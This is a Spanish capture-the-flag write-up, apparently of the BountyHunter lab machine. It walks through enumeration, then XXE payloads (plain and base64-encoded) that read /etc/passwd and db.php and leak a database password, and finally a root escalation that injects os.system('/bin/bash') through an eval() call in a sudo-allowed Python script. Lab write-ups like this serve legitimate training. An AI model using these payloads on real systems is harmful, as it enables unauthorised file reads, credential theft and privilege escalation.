Skip to content

Bug Bounty Hunter

Enumeración

  • Nmap detecta puertos abiertos: SSH (22) y Apache2 (80).
Terminal window
└──╼ [★]$ nmap -sS -Pn -p- 10.129.95.166
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-03-21 12:59 CDT
Nmap scan report for 10.129.95.166
Host is up (0.0082s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http

Empezamos la exploración manual a la vez que lanzamos un dirsearch para tener unos primeros resultados.

Cosas que encontramos y que pueden ser útiles para constuir un diccionario de passwords/ususarios.

  • The B Team.
  • Copyright © John 2020

Dirección: 1019 Skytrain Way Vancouver, BC V4A1E4 Around the Web Coming Soon

Además, tenemos un acceso a un portal que nos dice esta en desarrollo: http://10.129.95.166/portal.php

Y un enlace a una herramienta para reportar vulnerabilidades en fase BETA. http://10.129.95.166/log_submit.php

Lo normal sería pensar que esta parte se debe de poder explotar.

Una primera exploración con GOBUSTER nos revela algunos directorios, el siguiente es listable: /resources

Este tiene varios recursos javascript y css que podemos analizar, pero además, tenemos un archivo readme con una, digamos, lista de tareas:

Tasks:
[ ] Disable 'test' account on portal and switch to hashed password. Disable nopass.
[X] Write tracker submit script
[ ] Connect tracker submit script to the database
[X] Fix developer group permissions

El primer punto esta claro, todo parece indicar que deberíamos poder acceder al portal con la cuenta test sin contraseña: [ ] Desactivar la cuenta ‘test’ en el portal y cambiar a contraseña cifrada. Desactivar el acceso sin contraseña.

Además, falta corregir el script que envia los reportes a la herramienta de tracking.

En el portal no encontramos login alguno, tampoco lo hemos encontrado en los escaneos.

Lanzamos un ultimo gobuster con un diccionario de archivos habituales en .php y nos vamos a inspeccionar la herramienta de reportes.

Terminal window
gobuster dir -u http://10.129.95.166 -w /usr/share/seclists/Discovery/Web-Content/Common-PHP-Filenames.txt
/index.php (Status: 200) [Size: 25169]
/db.php (Status: 200) [Size: 0]
/portal.php (Status: 200) [Size: 125]
Progress: 5163 / 5164 (99.98%)

Al cargar con burp la pagina de /log_submit.php vemos qaue se llama un script llamado bountylog.js que tiene este código:

function returnSecret(data) {
return Promise.resolve($.ajax({
type: "POST",
data: {"data":data},
url: "tracker_diRbPr00f314.php"
}));
}
async function bountySubmit() {
try {
var xml = `<?xml version="1.0" encoding="ISO-8859-1"?>
<bugreport>
<title>${$('#exploitTitle').val()}</title>
<cwe>${$('#cwe').val()}</cwe>
<cvss>${$('#cvss').val()}</cvss>
<reward>${$('#reward').val()}</reward>
</bugreport>`
let data = await returnSecret(btoa(xml));
$("#return").html(data)
}
catch(error) {
console.log('Error:', error);
}
}

Vemos que lo que hace es coger los datos del formulario y enviarlos a la url tracker_diRbPr00f314.php codigicando los datos en base64.

Vamos a explicar mejor el proceso:

Formulario HTML ─┐
│─► Crea XML con datos del formulario
│─► Codifica XML en Base64
│─► Envía AJAX POST a "tracker_diRbPr00f314.php"
│─► Recibe respuesta del servidor
└─► Muestra resultado en elemento "#return"

Visto todo ello, vamos a probar de conseguir una inyección xml.

Si visitamos el arhivo tracker_diRbPr00f314.php nos lanza este texto.

If DB were ready, would have added:
Title:
CWE:
Score:
Reward:

De hecho, es el texto que nos devuelve la función de javascript ya rellena con nuestros datos.

El envio por post se efectua con los siguientes datos:

data=PD94bWwgIHZlcnNpb249IjEuMCIgZW5jb2Rpbmc9IklTTy04ODU5LTEiPz4KCQk8YnVncmVwb3J0PgoJCTx0aXRsZT5URVNUMzM8L3RpdGxlPgoJCTxjd2U%2BMjAyNS0wNTwvY3dlPgoJCTxjdnNzPjk8L2N2c3M%2BCgkJPHJld2FyZD4xMDwvcmV3YXJkPgoJCTwvYnVncmVwb3J0Pg%3D%3D

Ya en Brup vemos que descodificada esta cadena es esto:

<?xml version="1.0" encoding="ISO-8859-1"?>
<bugreport>
<title>TEST33</title>
<cwe>2025-05</cwe>
<cvss>9</cvss>
<reward>10</reward>
</bugreport>

Para llegar a esto, primero debemos hacer un URL DECODE, basicamente es por los carácteres del final %3D%3D. Despues decofificamos en base64.

Bueno, pues tratemos de crear ahora un payload. Una de las cosas que podemos hacer es tratar de leer algún archivo, por ejemplo, el que hemos visto antes: db.php

Preparamos el payload. Ya que con el plugin de wapalyzer ya vimos que es un ubuntu con apache, probaremos esto:

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE data [
<!ENTITY file SYSTEM "php://filter/read=convert.base64-encode/resource=/var/www/html/db.php"> ]>
<bugreport>
<title>Error Test</title>
<cwe>2024-05</cwe>
<cvss>9</cvss>
<reward>&file</reward>
</bugreport>
´´´
Y también esto:
´´´
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE data [
<!ENTITY file SYSTEM "file:///etc/passwd"> ]>
<bugreport>
<title>Error Test</title>
<cwe>2024-05</cwe>
<cvss>9</cvss>
<reward>&file</reward>
</bugreport>
´´´
CODIFICADOS:
´´´text
PD94bWwgIHZlcnNpb249IjEuMCIgZW5jb2Rpbmc9IklTTy04ODU5LTEiPz4KPCFET0NUWVBFIGRhdGEgWwo8IUVOVElUWSBmaWxlIFNZU1RFTSAicGhwOi8vZmlsdGVyL3JlYWQ9Y29udmVydC5iYXNlNjQtZW5jb2RlL3Jlc291cmNlPS92YXIvd3d3L2h0bWwvZGIucGhwIj4gXT4KPGJ1Z3JlcG9ydD4KPHRpdGxlPkVycm9yIFRlc3Q8L3RpdGxlPgo8Y3dlPjIwMjQtMDU8L2N3ZT4KPGN2c3M%2BOTwvY3Zzcz4KPHJld2FyZD4mZmlsZTs8L3Jld2FyZD4KPC9idWdyZXBvcnQ%2B
´´´
´´´text
PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iSVNPLTg4NTktMSI%2FPgo8IURPQ1RZUEUgZGF0YSBbCjwhRU5USVRZIGZpbGUgU1lTVEVNICJmaWxlOi8vL2V0Yy9wYXNzd2QiPiBdPgo8YnVncmVwb3J0PgogICAgPHRpdGxlPkVycm9yIFRlc3Q8L3RpdGxlPgogICAgPGN3ZT4yMDI0LTA1PC9jd2U%2BCiAgICA8Y3Zzcz45PC9jdnNzPgogICAgPHJld2FyZD4mZmlsZTs8L3Jld2FyZD4KPC9idWdyZXBvcnQ%2B

Resultados

´´ṕhp

Implement login system with the database. $dbserver = "localhost"; $dbname = "bounty"; $dbusername = "admin"; $dbpassword = "m19RoAU0hP41A1sTsq6K"; $testuser = "test"; ?>
```html
HTTP/1.1 200 OK
Date: Fri, 21 Mar 2025 20:03:10 GMT
Server: Apache/2.4.41 (Ubuntu)
Vary: Accept-Encoding
Content-Length: 2108
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8
If DB were ready, would have added:
<table>
<tr>
<td>Title:</td>
<td>Error Test</td>
</tr>
<tr>
<td>CWE:</td>
<td>2024-05</td>
</tr>
<tr>
<td>Score:</td>
<td>9</td>
</tr>
<tr>
<td>Reward:</td>
<td>root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
systemd-timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:106::/nonexistent:/usr/sbin/nologin
syslog:x:104:110::/home/syslog:/usr/sbin/nologin
_apt:x:105:65534::/nonexistent:/usr/sbin/nologin
tss:x:106:111:TPM software stack,,,:/var/lib/tpm:/bin/false
uuidd:x:107:112::/run/uuidd:/usr/sbin/nologin
tcpdump:x:108:113::/nonexistent:/usr/sbin/nologin
landscape:x:109:115::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:110:1::/var/cache/pollinate:/bin/false
sshd:x:111:65534::/run/sshd:/usr/sbin/nologin
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
development:x:1000:1000:Development:/home/development:/bin/bash
lxd:x:998:100::/var/snap/lxd/common/lxd:/bin/false
usbmux:x:112:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
</td>
</tr>
</table>

SPRAYING PASSWORD

Ya tenemos un password que podemos probar y una lista de usuarios del sistema, así que vamos probando y conseguimos entrar con uno de ellos y capturar nuestro primer flag.

La nota.

En el hombe encontramos esta nota:

Hola equipo,
Estaré fuera de la oficina esta semana, pero por favor asegúrense de que nuestro contrato con Skytrain Inc. quede terminado.
Este es nuestro primer trabajo desde el incidente "rm -rf", así que no podemos cometer errores. Cuando alguno de ustedes pueda, revisen la herramienta interna que nos enviaron. Ha habido varios tickets enviados que no han pasado la validación, y necesito que averigüen por qué.
Ya configuré los permisos para que puedan hacer las pruebas. Buena suerte.
-- John

Parece ser pues, que John ha dado permisos a cierta herramienta de Skytrain, a ver si damos con ella.

Tambien nos habla de nuestros permisos, así que miremos:

Terminal window
development@bountyhunter:/opt/skytrain_inc$ sudo -l
Matching Defaults entries for development on bountyhunter:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User development may run the following commands on bountyhunter:
(root) NOPASSWD: /usr/bin/python3.8 /opt/skytrain_inc/ticketValidator.py

O sea, podemos usar /usr/bin/python3.8 y parece que hemos encontrado el el archivo. Veamos su contenido.

#Skytrain Inc Ticket Validation System 0.1
#Do not distribute this file.
def load_file(loc):
if loc.endswith(".md"):
return open(loc, 'r')
else:
print("Wrong file type.")
exit()
def evaluate(ticketFile):
#Evaluates a ticket to check for ireggularities.
code_line = None
for i,x in enumerate(ticketFile.readlines()):
if i == 0:
if not x.startswith("# Skytrain Inc"):
return False
continue
if i == 1:
if not x.startswith("## Ticket to "):
return False
print(f"Destination: {' '.join(x.strip().split(' ')[3:])}")
continue
if x.startswith("__Ticket Code:__"):
code_line = i+1
continue
if code_line and i == code_line:
if not x.startswith("**"):
return False
ticketCode = x.replace("**", "").split("+")[0]
if int(ticketCode) % 7 == 4:
validationNumber = eval(x.replace("**", ""))
if validationNumber > 100:
return True
else:
return False
return False
def main():
fileName = input("Please enter the path to the ticket file.\n")
ticket = load_file(fileName)
#DEBUG print(ticket)
result = evaluate(ticket)
if (result):
print("Valid ticket.")
else:
print("Invalid ticket.")
ticket.close
main()

Este código es un sistema simple en Python que verifica la validez de archivos de tickets para la empresa Skytrain Inc.

Explicación paso a paso:

① Función load_file(loc):

  • Recibe una ruta de archivo como parámetro (loc).
  • Comprueba si la ruta termina con la extensión .md (archivo Markdown).
  • Si es correcto (.md), abre y retorna el archivo en modo lectura.
  • Si no, muestra "Wrong file type." y termina la ejecución.

② Función evaluate(ticketFile):

  • Lee el archivo línea por línea comprobando las siguientes reglas:
LíneaReglaCondición
0Debe comenzar con # Skytrain Inc.x.startswith("# Skytrain Inc")
1Debe comenzar con ## Ticket to <Destino> (imprime destino).x.startswith("## Ticket to ")
NBusca línea que comience con __Ticket Code:__Guarda la siguiente línea (N+1).
N+1Debe comenzar con **. Extrae código y valida:x.startswith("**")

Validación específica en la línea (N+1):

  • Toma la línea (ej: **123+456**), elimina **, y extrae el número antes del +.
  • El primer número (antes del signo +) debe cumplir:
    • Al dividirlo por 7, debe tener un residuo igual a 4.
  • Luego evalúa (eval()) la expresión completa sin los **. El resultado debe ser mayor a 100.

Si cumple ambas condiciones, el ticket es válido. En caso contrario, no lo es.

③ Función main():

  • Solicita al usuario introducir la ruta del archivo del ticket.
  • Carga el archivo mediante la función load_file().
  • Evalúa el archivo con la función evaluate().
  • Imprime "Valid ticket." si el resultado es True o "Invalid ticket." si el resultado es False.

Ejemplo de un ticket válido (ticket.md):

# Skytrain Inc
## Ticket to Madrid
__Ticket Code:__
**11+100**
  • Aquí, 11 % 7 = 4
  • eval("11+100") = 111 > 100

Este ticket sería válido.

Posibles vulnerabilidades (seguridad):

El uso del comando eval() sobre datos no validados es peligroso, ya que permite la ejecución arbitraria de código si un atacante puede controlar el contenido del archivo de ticket.

Ejemplo de explotación:

# Skytrain Inc
## Ticket to Madrid
__Ticket Code:__
**11+100+__import__('os').system('id')**

Esto ejecutaría el comando id en el servidor, generando una vulnerabilidad de ejecución remota de comandos (RCE).

Para ganar el root usaríamos:

# Skytrain Inc
## Ticket to Madrid
__Ticket Code:__
**11+100+__import__('os').system('/bin/bash')**

Entonces, se crea un archivo con dicho contenido y se ejecuta con: sudo /usr/bin/python3.8 /opt/skytrain_inc/ticketValidator.py

Y Pwned